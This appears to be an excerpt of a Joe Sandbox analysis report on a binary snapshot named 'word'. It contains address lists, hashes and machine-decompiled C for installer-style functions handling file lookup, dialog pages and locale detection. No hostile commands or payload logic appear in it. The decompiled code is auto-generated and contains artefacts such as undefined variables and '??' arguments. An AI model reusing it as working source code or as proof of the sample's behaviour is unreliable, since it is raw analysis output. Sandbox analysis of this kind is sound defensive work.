0x00407059
0x00000000
0x00000000
0x00407395
0x00407399
0x004073bb
0x004073be
0x004073c8
0x00000000
0x004073c8
0x0040739b
0x0040739e
0x004073a2
0x004073a5
0x004073a5
0x004073a8
0x00000000
0x00000000
0x00407452
0x00407456
0x00407474
0x00407474
0x00407474
0x0040747b
0x00407482
0x00407489
0x00407489
0x00000000
0x00407489
0x00407458
0x0040745b
0x0040745e
0x00407461
0x00407468
0x004073ac
0x004073ac
0x004073af
0x00000000
0x00000000
0x00407543
0x00407546
0x00000000
0x00000000
0x0040717d
0x0040717f
0x00407186
0x00407187
0x00407189
0x0040718c
0x00000000
0x00000000
0x00407194
0x00407197
0x0040719a
0x0040719c
0x0040719e
0x0040719e
0x0040719f
0x004071a2
0x004071a9
0x004071ac
0x004071ba
0x00000000
0x00000000
0x00407490
0x00407490
0x00407493
0x0040749a
0x00000000
0x00000000
0x0040749f
0x0040749f
0x004074a3
0x004075db
0x00000000
0x004075db
0x004074a9
0x004074ac
0x004074af
0x004074b3
0x004074b6
0x004074bc
0x004074be
0x004074be
0x004074be
0x004074c1
0x004074c4
0x004074c4
0x004074c4
0x004074c4
0x004074c7
0x004074c7
0x004074cb
0x0040752b
0x0040752e
0x00407533
0x00407534
0x00407536
0x00407538
0x0040753b
0x00000000
0x0040753b
0x004074cd
0x004074d3
0x004074d6
0x004074d9
0x004074dc
0x004074df
0x004074e2
0x004074e5
0x004074e8
0x004074eb
0x004074ee
0x00407507
0x0040750a
0x0040750d
0x00407510
0x00407514
0x00407516
0x00407516
0x00407517
0x0040751a
0x004074f0
0x004074f0
0x004074f8
0x004074fd
0x004074ff
0x00407502
0x00407502
0x0040751d
0x00407524
0x00000000
0x00407526
0x00000000
0x00407526
0x00000000
0x004071c2
0x004071c5
0x004071fb
0x0040732b
0x0040732b
0x0040732b
0x0040732b
0x0040732e
0x0040732e
0x00407331
0x00407333
0x004075bd
0x00000000
0x004075bd
0x00407339
0x0040733c
0x00000000
0x00000000
0x00407342
0x00407346
0x00407349
0x00407349
0x00407349
0x00000000
0x00407349
0x004071c7
0x004071c9
0x004071cb
0x004071cd
0x004071d0
0x004071d1
0x004071d3
0x004071d5
0x004071d8
0x004071db
0x004071f1
0x004071f6
0x0040722e
0x0040722e
0x00407232
0x0040725e
0x00407260
0x00407267
0x0040726a
0x0040726d
0x0040726d
0x00407272
0x00407272
0x00407274
0x00407277
0x0040727e
0x00407281
0x004072ae
0x004072ae
0x004072b1
0x004072b4
0x00407328
0x00407328
0x00407328
0x00000000
0x00407328
0x004072b6
0x004072bc
0x004072bf
0x004072c2
0x004072c5
0x004072c8
0x004072cb
0x004072ce
0x004072d1
0x004072d4
0x004072d7
0x004072f0
0x004072f2
0x004072f5
0x004072f6
0x004072f9
0x004072fb
0x004072fe
0x00407300
0x00407302
0x00407305
0x00407307
0x0040730a
0x0040730e
0x00407310
0x00407310
0x00407311
0x00407314
0x00407317
0x004072d9
0x004072d9
0x004072e1
0x004072e6
0x004072e8
0x004072eb
0x004072eb
0x0040731a
0x00407321
0x004072ab
0x004072ab
0x004072ab
0x004072ab
0x00000000
0x00407323
0x00000000
0x00407323
0x00407321
0x00407234
0x00407237
0x00407239
0x0040723c
0x0040723f
0x00407242
0x00407244
0x00407247
0x0040724a
0x0040724a
0x0040724d
0x0040724d
0x00407250
0x00407257
0x0040722b
0x0040722b
0x0040722b
0x0040722b
0x00000000
0x00407259
0x00000000
0x00407259
0x00407257
0x004071dd
0x004071e0
0x004071e2
0x004071e5
0x00000000
0x00000000
0x00000000
0x00000000
0x004070cf
0x004070cf
0x004070d3
0x00407599
0x00000000
0x00407599
0x004070d9
0x004070dc
0x004070df
0x004070e2
0x004070e4
0x004070e4
0x004070e4
0x004070e7
0x004070ea
0x004070ed
0x004070f0
0x004070f3
0x004070f6
0x004070f7
0x004070f9
0x004070f9
0x004070f9
0x004070fc
0x004070ff
0x00407102
0x00407105
0x00407105
0x00407105
0x00407108
0x00000000
0x00000000
0x0040734c
0x0040734c
0x0040734c
0x00407350
0x00000000
0x00000000
0x00407356
0x00407359
0x0040735c
0x0040735f
0x00407361
0x00407361
0x00407361
0x00407364
0x00407367
0x0040736a
0x0040736d
0x00407370
0x00407373
0x00407374
0x00407376
0x00407376
0x00407376
0x00407379
0x0040737c
0x0040737f
0x00407382
0x00407385
0x00407389
0x0040738b
0x0040738e
0x00000000
0x00407390
0x00000000
0x00407390
0x0040738e
0x004075c3
0x00000000
0x00000000
0x00406bf2

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
Instruction ID: 02c1e40b0c9780dd067322b7733c474732bd0f187a49f53fd7fd3c108ee94619
Opcode Fuzzy Hash: 6ae840c17bc4cb012e3c6e2f9739eb08ea49decd14d2b7f73774d31e5ba5825a
Instruction Fuzzy Hash: 7CF15570D04229CBDF28CFA8C8946ADBBB0FF44305F24816ED456BB281D7386A86DF45

Uniqueness

Uniqueness Score: -1.00%

Function 0040699E Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040699E(WCHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileW(_a4, 0x426798); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2);
				return 0x426798;
			}

0x004069a9
0x004069b2
0x00000000
0x004069bf
0x004069b5
0x00000000

APIs

FindFirstFileW.KERNELBASE(7556D4C4,00426798,00425F50,00406088,00425F50,00425F50,00000000,00425F50,00425F50,7556D4C4,?,755513E0,00405D94,?,7556D4C4,755513E0), ref: 004069A9
FindClose.KERNEL32(00000000), ref: 004069B5

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction ID: 0ca7534fdffec89160a31ceabb6ef5ff718bfc83d1618d69d17f9e635378cbc3
Opcode Fuzzy Hash: 1093b80bdde5f117a2aeaff90f04fc035896fcf98737a4a628a8a679d5dfa397
Instruction Fuzzy Hash: 5ED012B15192205FC34057387E0C84B7A989F563317268A36B4AAF11E0CB348C3297AC

Uniqueness

Uniqueness Score: -1.00%

Function 004040C5 Relevance: 61.6, APIs: 34, Strings: 1, Instructions: 357
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 84%

			E004040C5(struct HWND__* _a4, intOrPtr _a8, int _a12, long _a16) {
				struct HWND__* _v28;
				void* _v84;
				void* _v88;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t34;
				signed int _t36;
				signed int _t38;
				struct HWND__* _t48;
				signed int _t67;
				struct HWND__* _t73;
				signed int _t86;
				struct HWND__* _t91;
				signed int _t99;
				int _t103;
				signed int _t117;
				int _t118;
				int _t122;
				signed int _t124;
				struct HWND__* _t127;
				struct HWND__* _t128;
				int _t129;
				intOrPtr _t130;
				long _t133;
				int _t135;
				int _t136;
				void* _t137;
				void* _t145;

				_t130 = _a8;
				if(_t130 == 0x110 || _t130 == 0x408) {
					_t34 = _a12;
					_t127 = _a4;
					__eflags = _t130 - 0x110;
					 *0x423730 = _t34;
					if(_t130 == 0x110) {
						 *0x42a268 = _t127;
						 *0x423744 = GetDlgItem(_t127, 1);
						_t91 = GetDlgItem(_t127, 2);
						_push(0xffffffff);
						_push(0x1c);
						 *0x421710 = _t91;
						E004045C4(_t127);
						SetClassLongW(_t127, 0xfffffff2,  *0x429248);
						 *0x42922c = E0040140B(4);
						_t34 = 1;
						__eflags = 1;
						 *0x423730 = 1;
					}
					_t124 =  *0x40a39c; // 0x0
					_t136 = 0;
					_t133 = (_t124 << 6) +  *0x42a280;
					__eflags = _t124;
					if(_t124 < 0) {
						L36:
						E00404610(0x40b);
						while(1) {
							_t36 =  *0x423730;
							 *0x40a39c =  *0x40a39c + _t36;
							_t133 = _t133 + (_t36 << 6);
							_t38 =  *0x40a39c; // 0x0
							__eflags = _t38 -  *0x42a284;
							if(_t38 ==  *0x42a284) {
								E0040140B(1);
							}
							__eflags =  *0x42922c - _t136;
							if( *0x42922c != _t136) {
								break;
							}
							__eflags =  *0x40a39c -  *0x42a284; // 0x0
							if(__eflags >= 0) {
								break;
							}
							_t117 =  *(_t133 + 0x14);
							E004066A5(_t117, _t127, _t133, 0x43a000,  *((intOrPtr*)(_t133 + 0x24)));
							_push( *((intOrPtr*)(_t133 + 0x20)));
							_push(0xfffffc19);
							E004045C4(_t127);
							_push( *((intOrPtr*)(_t133 + 0x1c)));
							_push(0xfffffc1b);
							E004045C4(_t127);
							_push( *((intOrPtr*)(_t133 + 0x28)));
							_push(0xfffffc1a);
							E004045C4(_t127);
							_t48 = GetDlgItem(_t127, 3);
							__eflags =  *0x42a2ec - _t136;
							_v28 = _t48;
							if( *0x42a2ec != _t136) {
								_t117 = _t117 & 0x0000fefd | 0x00000004;
								__eflags = _t117;
							}
							ShowWindow(_t48, _t117 & 0x00000008);
							EnableWindow( *(_t137 + 0x34), _t117 & 0x00000100);
							E004045E6(_t117 & 0x00000002);
							_t118 = _t117 & 0x00000004;
							EnableWindow( *0x421710, _t118);
							__eflags = _t118 - _t136;
							if(_t118 == _t136) {
								_push(1);
							} else {
								_push(_t136);
							}
							EnableMenuItem(GetSystemMenu(_t127, _t136), 0xf060, ??);
							SendMessageW( *(_t137 + 0x3c), 0xf4, _t136, 1);
							__eflags =  *0x42a2ec - _t136;
							if( *0x42a2ec == _t136) {
								_push( *0x423744);
							} else {
								SendMessageW(_t127, 0x401, 2, _t136);
								_push( *0x421710);
							}
							E004045F9();
							E00406668(0x423748, E004040A6());
							E004066A5(0x423748, _t127, _t133,  &(0x423748[lstrlenW(0x423748)]),  *((intOrPtr*)(_t133 + 0x18)));
							SetWindowTextW(_t127, 0x423748);
							_push(_t136);
							_t67 = E00401389( *((intOrPtr*)(_t133 + 8)));
							__eflags = _t67;
							if(_t67 != 0) {
								continue;
							} else {
								__eflags =  *_t133 - _t136;
								if( *_t133 == _t136) {
									continue;
								}
								__eflags =  *(_t133 + 4) - 5;
								if( *(_t133 + 4) != 5) {
									DestroyWindow( *0x429238);
									 *0x422720 = _t133;
									__eflags =  *_t133 - _t136;
									if( *_t133 <= _t136) {
										goto L60;
									}
									_t73 = CreateDialogParamW( *0x42a260,  *_t133 +  *0x429240 & 0x0000ffff, _t127,  *(0x40a3a0 +  *(_t133 + 4) * 4), _t133);
									__eflags = _t73 - _t136;
									 *0x429238 = _t73;
									if(_t73 == _t136) {
										goto L60;
									}
									_push( *((intOrPtr*)(_t133 + 0x2c)));
									_push(6);
									E004045C4(_t73);
									GetWindowRect(GetDlgItem(_t127, 0x3fa), _t137 + 0x10);
									ScreenToClient(_t127, _t137 + 0x10);
									SetWindowPos( *0x429238, _t136,  *(_t137 + 0x20),  *(_t137 + 0x20), _t136, _t136, 0x15);
									_push(_t136);
									E00401389( *((intOrPtr*)(_t133 + 0xc)));
									__eflags =  *0x42922c - _t136;
									if( *0x42922c != _t136) {
										goto L63;
									}
									ShowWindow( *0x429238, 8);
									E00404610(0x405);
									goto L60;
								}
								__eflags =  *0x42a2ec - _t136;
								if( *0x42a2ec != _t136) {
									goto L63;
								}
								__eflags =  *0x42a2e0 - _t136;
								if( *0x42a2e0 != _t136) {
									continue;
								}
								goto L63;
							}
						}
						DestroyWindow( *0x429238); // executed
						 *0x42a268 = _t136;
						EndDialog(_t127,  *0x421f18);
						goto L60;
					} else {
						__eflags = _t34 - 1;
						if(_t34 != 1) {
							L35:
							__eflags =  *_t133 - _t136;
							if( *_t133 == _t136) {
								goto L63;
							}
							goto L36;
						}
						_push(0);
						_t86 = E00401389( *((intOrPtr*)(_t133 + 0x10)));
						__eflags = _t86;
						if(_t86 == 0) {
							goto L35;
						}
						SendMessageW( *0x429238, 0x40f, 0, 1);
						__eflags =  *0x42922c;
						return 0 |  *0x42922c == 0x00000000;
					}
				} else {
					_t127 = _a4;
					_t136 = 0;
					if(_t130 == 0x47) {
						SetWindowPos( *0x423728, _t127, 0, 0, 0, 0, 0x13);
					}
					_t122 = _a12;
					if(_t130 != 5) {
						L8:
						if(_t130 != 0x40d) {
							__eflags = _t130 - 0x11;
							if(_t130 != 0x11) {
								__eflags = _t130 - 0x111;
								if(_t130 != 0x111) {
									goto L28;
								}
								_t135 = _t122 & 0x0000ffff;
								_t128 = GetDlgItem(_t127, _t135);
								__eflags = _t128 - _t136;
								if(_t128 == _t136) {
									L15:
									__eflags = _t135 - 1;
									if(_t135 != 1) {
										__eflags = _t135 - 3;
										if(_t135 != 3) {
											_t129 = 2;
											__eflags = _t135 - _t129;
											if(_t135 != _t129) {
												L27:
												SendMessageW( *0x429238, 0x111, _t122, _a16);
												goto L28;
											}
											__eflags =  *0x42a2ec - _t136;
											if( *0x42a2ec == _t136) {
												_t99 = E0040140B(3);
												__eflags = _t99;
												if(_t99 != 0) {
													goto L28;
												}
												 *0x421f18 = 1;
												L23:
												_push(0x78);
												L24:
												E0040459D();
												goto L28;
											}
											E0040140B(_t129);
											 *0x421f18 = _t129;
											goto L23;
										}
										__eflags =  *0x40a39c - _t136; // 0x0
										if(__eflags <= 0) {
											goto L27;
										}
										_push(0xffffffff);
										goto L24;
									}
									_push(_t135);
									goto L24;
								}
								SendMessageW(_t128, 0xf3, _t136, _t136);
								_t103 = IsWindowEnabled(_t128);
								__eflags = _t103;
								if(_t103 == 0) {
									L63:
									return 0;
								}
								goto L15;
							}
							SetWindowLongW(_t127, _t136, _t136);
							return 1;
						}
						DestroyWindow( *0x429238);
						 *0x429238 = _t122;
						L60:
						_t145 =  *0x425748 - _t136; // 0x0
						if(_t145 == 0 &&  *0x429238 != _t136) {
							ShowWindow(_t127, 0xa);
							 *0x425748 = 1;
						}
						goto L63;
					} else {
						asm("sbb eax, eax");
						ShowWindow( *0x423728,  ~(_t122 - 1) & 0x00000005);
						if(_t122 != 2 || (GetWindowLongW(_t127, 0xfffffff0) & 0x21010000) != 0x1000000) {
							L28:
							return E0040462B(_a8, _t122, _a16);
						} else {
							ShowWindow(_t127, 4);
							goto L8;
						}
					}
				}
			}

0x004040d0
0x004040d7
0x0040423e
0x00404242
0x00404246
0x00404248
0x0040424d
0x00404258
0x00404263
0x00404268
0x0040426a
0x0040426c
0x0040426f
0x00404274
0x00404282
0x0040428f
0x00404296
0x00404296
0x00404297
0x00404297
0x0040429c
0x004042a2
0x004042a9
0x004042af
0x004042b1
0x004042f1
0x004042f6
0x004042fb
0x004042fb
0x00404300
0x00404309
0x0040430b
0x00404310
0x00404316
0x0040431a
0x0040431a
0x0040431f
0x00404325
0x00000000
0x00000000
0x00404330
0x00404336
0x00000000
0x00000000
0x0040433f
0x00404347
0x0040434c
0x0040434f
0x00404355
0x0040435a
0x0040435d
0x00404363
0x00404368
0x0040436b
0x00404371
0x00404379
0x0040437f
0x00404385
0x00404389
0x00404390
0x00404390
0x00404390
0x0040439a
0x004043ac
0x004043b8
0x004043bd
0x004043c7
0x004043cd
0x004043cf
0x004043d4
0x004043d1
0x004043d1
0x004043d1
0x004043e4
0x004043fc
0x004043fe
0x00404404
0x00404419
0x00404406
0x0040440f
0x00404411
0x00404411
0x0040441f
0x00404430
0x00404446
0x0040444d
0x00404453
0x00404457
0x0040445c
0x0040445e
0x00000000
0x00404464
0x00404464
0x00404466
0x00000000
0x00000000
0x0040446c
0x00404470
0x00404495
0x0040449b
0x004044a1
0x004044a3
0x00000000
0x00000000
0x004044c9
0x004044cf
0x004044d1
0x004044d6
0x00000000
0x00000000
0x004044dc
0x004044df
0x004044e2
0x004044f9
0x00404505
0x0040451e
0x00404524
0x00404528
0x0040452d
0x00404533
0x00000000
0x00000000
0x0040453d
0x00404548
0x00000000
0x00404548
0x00404472
0x00404478
0x00000000
0x00000000
0x0040447e
0x00404484
0x00000000
0x00000000
0x00000000
0x0040448a
0x0040445e
0x00404555
0x00404561
0x00404568
0x00000000
0x004042b3
0x004042b3
0x004042b6
0x004042e9
0x004042e9
0x004042eb
0x00000000
0x00000000
0x00000000
0x004042eb
0x004042b8
0x004042bc
0x004042c1
0x004042c3
0x00000000
0x00000000
0x004042d3
0x004042db
0x00000000
0x004042e1
0x004040e9
0x004040e9
0x004040ed
0x004040f2
0x00404101
0x00404101
0x00404107
0x0040410e
0x00404152
0x00404158
0x00404171
0x00404174
0x00404187
0x0040418d
0x00000000
0x00000000
0x00404193
0x0040419e
0x004041a0
0x004041a2
0x004041c1
0x004041c1
0x004041c4
0x004041c9
0x004041cc
0x004041dc
0x004041dd
0x004041df
0x00404215
0x00404225
0x00000000
0x00404225
0x004041e1
0x004041e7
0x00404200
0x00404205
0x00404207
0x00000000
0x00000000
0x00404209
0x004041f5
0x004041f5
0x004041f7
0x004041f7
0x00000000
0x004041f7
0x004041ea
0x004041ef
0x00000000
0x004041ef
0x004041ce
0x004041d4
0x00000000
0x00000000
0x004041d6
0x00000000
0x004041d6
0x004041c6
0x00000000
0x004041c6
0x004041ac
0x004041b3
0x004041b9
0x004041bb
0x00404591
0x00000000
0x00404591
0x00000000
0x004041bb
0x00404179
0x00000000
0x00404181
0x00404160
0x00404166
0x0040456e
0x0040456e
0x00404574
0x00404581
0x00404587
0x00404587
0x00000000
0x00404110
0x00404115
0x00404121
0x0040412a
0x0040422b
0x00000000
0x00404149
0x0040414c
0x00000000
0x0040414c
0x0040412a
0x0040410e

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 00404101
ShowWindow.USER32(?), ref: 00404121
GetWindowLongW.USER32(?,000000F0), ref: 00404133
ShowWindow.USER32(?,00000004), ref: 0040414C
DestroyWindow.USER32 ref: 00404160
SetWindowLongW.USER32 ref: 00404179
GetDlgItem.USER32(?,?), ref: 00404198
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 004041AC
IsWindowEnabled.USER32(00000000), ref: 004041B3
GetDlgItem.USER32(?,00000001), ref: 0040425E
GetDlgItem.USER32(?,00000002), ref: 00404268
SetClassLongW.USER32(?,000000F2,?), ref: 00404282
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 004042D3
GetDlgItem.USER32(?,00000003), ref: 00404379
ShowWindow.USER32(00000000,?), ref: 0040439A
EnableWindow.USER32(?,?), ref: 004043AC
EnableWindow.USER32(?,?), ref: 004043C7
GetSystemMenu.USER32 ref: 004043DD
EnableMenuItem.USER32 ref: 004043E4
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004043FC
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 0040440F
lstrlenW.KERNEL32(00423748,?,00423748,00000000), ref: 00404439
SetWindowTextW.USER32 ref: 0040444D
ShowWindow.USER32(?,0000000A), ref: 00404581

Strings

H7B, xrefs: 00404429

Memory Dump Source

Source File: 00000005.00000002.987514881.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000005.00000002.987509042.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987527452.0000000000408000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.000000000040C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000425000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000427000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987535866.0000000000437000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000043E000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.000000000044B000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000005.00000002.987590533.0000000000455000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_400000_word.jbxd

Similarity

API ID: Window$Item$MessageSendShow$EnableLong$Menu$ClassDestroyEnabledSystemTextlstrlen
String ID: H7B
API String ID: 1860320154-2300413410
Opcode ID: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
Instruction ID: 1d4a55fced449df2e2a9dfc159c1061f424388fbea236c5341ec002980a30b6c
Opcode Fuzzy Hash: b499a380baa1669b9d39d87f51061d2fd0c3acf201e93ffa24678bb3f42416dd
Instruction Fuzzy Hash: C0C1C2B1600604FBDB216F61EE85E2A3B78EB85745F40097EF781B51F0CB3958529B2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403D17 Relevance: 44.0, APIs: 13, Strings: 12, Instructions: 215
stringregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 96%

			E00403D17(void* __eflags) {
				intOrPtr _v4;
				intOrPtr _v8;
				int _v12;
				void _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t22;
				void* _t30;
				void* _t32;
				int _t33;
				void* _t36;
				int _t39;
				int _t40;
				int _t44;
				short _t63;
				WCHAR* _t65;
				signed char _t69;
				WCHAR* _t76;
				intOrPtr _t82;
				WCHAR* _t87;

				_t82 =  *0x42a270;
				_t22 = E00406A35(2);
				_t90 = _t22;
				if(_t22 == 0) {
					_t76 = 0x423748;
					L"1033" = 0x30;
					 *0x437002 = 0x78;
					 *0x437004 = 0;
					E00406536(_t78, __eflags, 0x80000001, L"Control Panel\\Desktop\\ResourceLocale", 0, 0x423748, 0);
					__eflags =  *0x423748;
					if(__eflags == 0) {
						E00406536(_t78, __eflags, 0x80000003, L".DEFAULT\\Control Panel\\International",  &M004083D4, 0x423748, 0);
					}
					lstrcatW(L"1033", _t76);
				} else {
					E004065AF(L"1033",  *_t22() & 0x0000ffff);
				}
				E00403FED(_t78, _t90);
				 *0x42a2e0 =  *0x42a278 & 0x00000020;
				 *0x42a2fc = 0x10000;
				if(E0040603F(_t90, 0x435800) != 0) {
					L16:
					if(E0040603F(_t98, 0x435800) == 0) {
						E004066A5(_t76, 0, _t82, 0x435800,  *((intOrPtr*)(_t82 + 0x118)));
					}
					_t30 = LoadImageW( *0x42a260, 0x67, 1, 0, 0, 0x8040);
					 *0x429248 = _t30;
					if( *((intOrPtr*)(_t82 + 0x50)) == 0xffffffff) {
						L21:
						if(E0040140B(0) == 0) {
							_t32 = E00403FED(_t78, __eflags);
							__eflags =  *0x42a300;
							if( *0x42a300 != 0) {
								_t33 = E0040579D(_t32, 0);
								__eflags = _t33;
								if(_t33 == 0) {
									E0040140B(1);
									goto L33;
								}
								__eflags =  *0x42922c;
								if( *0x42922c == 0) {
									E0040140B(2);
								}
								goto L22;
							}
							ShowWindow( *0x423728, 5); // executed
							_t39 = E004069C5("RichEd20"); // executed
							__eflags = _t39;
							if(_t39 == 0) {
								E004069C5("RichEd32");
							}
							_t87 = L"RichEdit20W";
							_t40 = GetClassInfoW(0, _t87, 0x429200);
							__eflags = _t40;
							if(_t40 == 0) {
								GetClassInfoW(0, L"RichEdit", 0x429200);
								 *0x429224 = _t87;
								RegisterClassW(0x429200);
							}
							_t44 = DialogBoxParamW( *0x42a260,  *0x429240 + 0x00000069 & 0x0000ffff, 0, E004040C5, 0); // executed
							E00403C67(E0040140B(5), 1);
							return _t44;
						}
						L22:
						_t36 = 2;
						return _t36;
					} else {
						_t78 =  *0x42a260;
						 *0x429204 = E00401000;
						 *0x429210 =  *0x42a260;
						 *0x429214 = _t30;
						 *0x429224 = 0x40a3b4;
						if(RegisterClassW(0x429200) == 0) {
							L33:
							__eflags = 0;
							return 0;
						}
						SystemParametersInfoW(0x30, 0,  &_v16, 0);
						 *0x423728 = CreateWindowExW(0x80, 0x40a3b4, 0, 0x80000000, _v16, _v12, _v8 - _v16, _v4 - _v12, 0, 0,  *0x42a260, 0);
						goto L21;
					}
				} else {
					_t78 =  *(_t82 + 0x48);
					_t92 = _t78;
					if(_t78 == 0) {
						goto L16;
					}
					_t76 = 0x428200;
					E00406536(_t78, _t92,  *((intOrPtr*)(_t82 + 0x44)),  *0x42a298 + _t78 * 2,  *0x42a298 +  *(_t82 + 0x4c) * 2, 0x428200, 0);
					_t63 =  *0x428200; // 0x22
					if(_t63 == 0) {
						goto L16;
					}
					if(_t63 == 0x22) {
						_t76 = 0x428202;
						 *((short*)(E00405F64(0x428202, 0x22))) = 0;
					}
					_t65 = _t76 + lstrlenW(_t76) * 2 - 8;
					if(_t65 <= _t76 || lstrcmpiW(_t65, L".exe") != 0) {
						L15:
						E00406668(0x435800, E00405F37(_t76));
						goto L16;
					} else {
						_t69 = GetFileAttributesW(_t76);
						if(_t69 == 0xffffffff) {
							L14:
							E00405F83(_t76);
							goto L15;
						}
						_t98 = _t69 & 0x00000010;
						if((_t69 & 0x00000010) != 0) {
							goto L15;
						}
						goto L14;
					}
				}
			}

0x00403d1d
0x00403d26
0x00403d2d
0x00403d2f
0x00403d43
0x00403d55
0x00403d5e
0x00403d67
0x00403d6e
0x00403d73
0x00403d7a
0x00403d8d
0x00403d8d
0x00403d98
0x00403d31
0x00403d3c
0x00403d3c
0x00403d9d
0x00403db0
0x00403db5
0x00403dc6
0x00403e58
0x00403e60
0x00403e69
0x00403e69
0x00403e7f
0x00403e85
0x00403e93
0x00403f14
0x00403f1c
0x00403f26
0x00403f2b
0x00403f31
0x00403fbb
0x00403fc0
0x00403fc2
0x00403fde
0x00000000
0x00403fde
0x00403fc4
0x00403fca
0x00403fd2
0x00403fd2
0x00000000
0x00403fca
0x00403f3f
0x00403f4a
0x00403f4f
0x00403f51
0x00403f58
0x00403f58
0x00403f63
0x00403f6b
0x00403f6d
0x00403f6f
0x00403f78
0x00403f7b
0x00403f81
0x00403f81
0x00403fa0
0x00403fb1
0x00000000
0x00403fb6
0x00403f1e
0x00403f20
0x00000000
0x00403e95
0x00403e95
0x00403ea1
0x00403eab
0x00403eb1
0x00403eb6
0x00403ec5
0x00403fe3
0x00403fe3
0x00000000
0x00403fe3
0x00403ed4
0x00403f0f
0x00000000
0x00403f0f
0x00403dcc
0x00403dcc
0x00403dcf
0x00403dd1
0x00000000
0x00000000
0x00403ddf
0x00403df1
0x00403df6
0x00403dff
0x00000000
0x00000000
0x00403e05
0x00403e07
0x00403e14
0x00403e14
0x00403e1d
0x00403e23
0x00403e4b
0x00403e53
0x00000000
0x00403e35
0x00403e36
0x00403e3f
0x00403e45
0x00403e46
0x00000000
0x00403e46
0x00403e41
0x00403e43
0x00000000
0x00000000
0x00000000
0x00403e43
0x00403e23

APIs

Part of subcall function 00406A35: GetModuleHandleA.KERNEL32(?,00000020,?,00403750,0000000B), ref: 00406A47
Part of subcall function 00406A35: GetProcAddress.KERNEL32(00000000,?), ref: 00406A62

lstrcatW.KERNEL32 ref: 00403D98
